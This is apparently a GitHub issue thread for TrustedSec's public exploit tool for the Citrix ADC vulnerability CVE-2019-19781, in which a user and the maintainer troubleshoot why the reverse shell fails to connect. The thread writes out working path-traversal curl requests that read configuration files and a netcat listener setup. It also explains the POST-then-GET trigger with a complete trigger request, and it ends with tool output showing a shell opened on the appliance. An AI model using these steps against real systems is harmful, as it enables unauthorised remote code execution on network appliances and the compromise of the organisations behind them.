search

trustedsec / cve-2019-19781

This is a tool published for the Citrix ADC (NetScaler) vulnerability. We are only disclosing this due to others publishing the exploit code first.
Other
570 stars 127 forks source link

Shell does not connect #2

Closed squ1ddy closed 4 years ago

squ1ddy commented 4 years ago

Hi,

Thanks for your research on this.

After running exploit it fires and I can confirm that the .xml artefact (tnnwzvreuu.xml) is created on the disk but the shell does not connect (listener created with nc -vlk 443)

[*] Saving filename as tnnwzvreuu.xml on the victim machine...
[*] Sleeping for 2 seconds to ensure file is written before we call it...
[*] Triggering GET request for the newly created file with a listener waiting...
[*] Shell should now be in your listener... enjoy. Keep this window open..
[!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/

Script output says 'Keep this window open' yet it bombs straight back out of the command and is not in a 'waiting' state.

Can confirm system is vulnerable as command below returns the smb.conf file: curl -vk --path-as-is https://obfuscatedtargetip/vpn/../vpns/cfg/smb.conf

And: curl -vk --path-as-is https://obfuscatedtargetip/vpn/../vpns/

Returns:

> Accept: */*
> 
< HTTP/1.1 403 Forbidden
< Date: Sat, 11 Jan 2020 14:01:13 GMT
< Server: Apache
< Content-Length: 207
< Content-Type: text/html; charset=iso-8859-1
< 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /vpns/
on this server.</p>
</body></html>

Have confirmed outbound traffic is allowed to destination nc listener on 443.

Any assistance

trustedsec commented 4 years ago

The 403 forbidden would represent that it isn't vulnerable.

The command:

curl -vk --path-as-is https://obfuscatedtargetip/vpn/../vpns/cfg/smb.conf

It would result in a smb.conf file that contains the [global] variable and the rest of the configuration.

If it is not staying open and immediately exits the tool, it usually represents that is unable to connect directly to the system. This could be the port itself is already bound, I would use a nonstandard port like 8080 for example and not 443. The listener is a publicly facing IP address correct? I just tested it again to confirm and it's connecting immediately and the shell remains open along with the script.

trustedsec commented 4 years ago

When running the curl command, the GET request should return the internals of the smb.conf file like an example below:

[global] encrypt passwords = yes name resolve order = lmhosts wins host bcast

squ1ddy commented 4 years ago

OK - Thanks very much for checking and confirming that the script remains open/waiting.

The curl command definitely returns the smb.conf file

< HTTP/1.1 200 OK
< Age: 1         
< Date: Sat, 11 Jan 2020 15:05:06 GMT
< Connection: Keep-Alive
< Via: NS-CACHE-10.0:  66
< ETag: "61ae-53-569b8aaccca00"
< Server: Apache
< Last-Modified: Fri, 13 Apr 2018 10:52:24 GMT
< Accept-Ranges: bytes
< Content-Length: 83
< X-Frame-Options: SAMEORIGIN
< Keep-Alive: timeout=15, max=100
< Content-Type: text/plain
< Strict-Transport-Security: max-age=157680000
< 
[global]
    encrypt passwords = yes
    name resolve order = lmhosts wins host bcast

Yes the listener is on a public facing IP and I've tested connecting to it from my local machine here and works perfectly. I was initially using a non-standard port (40001 - didn't work) but thought an outbound firewall implicit deny may be causing issues so then went to something then I thought would be open.

I don't have access to the firewall to confirm but can check with network ops team tomorrow.

If the appliance wasn't vulnerable would you still expect the .xml to be created?

trustedsec commented 4 years ago

If the xml file is being written out it is 100% vulnerable. The file gets written out by calling the directory traversal vulnerability and calling a perl file located in the vpns directory. It writes out the code directly to the xml file itself which is the crux of the vulnerability. If you aren't getting a shell back, I would assume firewall rules not allowing it outbound from your use case. It's working on all of the tests we've run on our systems, shell comes back almost immediately upon execution.

squ1ddy commented 4 years ago

Cool, well it's definitely vulnerable then because .xml files are definitely there:

root@redactedhost# cd /netscaler/portal/templates/
root@redactedhost# ls
Tn6dS.xml               f_services.html         newbm.html
awtuhxornr.xml          filetransfer.html       ping.html
boilerplate.tmpl        ftlist.html             preferences.html
bookmark.html           globalBK.tmpl           qjogsuetih.xml
changepwd.html          globalFS.tmpl           resources.tmpl
chpwdsuccess.html       homepage.html           rmbm.html
colorpicker.html        homepage2.html          rmft.html
eodxxuxxkn.xml          j_services.html         styles.css
err2002.html            loadresources.tmpl      themes.html
err2004.html            menu.tmpl               tips.html
err2005.html            missing.html            wrapper.tmpl
err2006.html            navthemes.html
error.html              navwrapper.tmpl

So once the .xml file is in place all you have to do is GET the .xml and the shell will pop again? Such as:

curl -vk --path-as-is 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0' -H 'NSC_USER: arethdfg' -H 'NSC_NONCE: 12344321' "https://redactedhost/vpn/../vpns/portal/eodxxuxxkn.xml"

Appreciate the assistance.

trustedsec commented 4 years ago

Yep that'll do it! The first is to write out the file (POST), the second is a GET request to trigger it. That above would do it.

trustedsec commented 4 years ago

Going to close this one out. Let me know if you need anything else.

trustedsec commented 4 years ago

Someone reported that in Citrix ADC VPX R13 that the path needs to be specified in Python. Give it another shot and see if it works now. Not sure what you are using but this could have been the issue you saw.

trustedsec commented 4 years ago

I pushed a new version, just git pull and check it out.

squ1ddy commented 4 years ago

@trustedsec Yep that fixed it! Thanks for the persistence :)

Q1984 commented 4 years ago

The updated version of citrixmash says the target has been patched, but there is a vulnerable system confirmed by the manual scanning. Also the listener doesn't connect back in the previous versions.

trustedsec commented 4 years ago

I'm not able to confirm this, I have a few different versions of Citrix running and they all connect back with the shell and works perfect on pretty much every version of ADC.

trustedsec commented 4 years ago

[] Firing STAGE1 POST request to create the XML template exploit to disk... [] Saving filename as rblbruriez.xml on the victim machine... [] Sleeping for 2 seconds to ensure file is written before we call it... [] Triggering GET request for the newly created file with a listener waiting... [*] Shell should now be in your listener... enjoy. Keep this window open.. [!] Be sure to cleanup the two locations here (artifacts): /var/tmp/netscaler/portal/templates/, /netscaler/portal/templates/ Connection from 43087 received! sh: can't access tty; job control turned off \u@ns$ \u@ns$ \u@ns$ ls bin colorful compat configdb dev etc flash home lib libexec mnt netscaler nscache nsconfig optional proc root sbin tmp usr var \u@ns$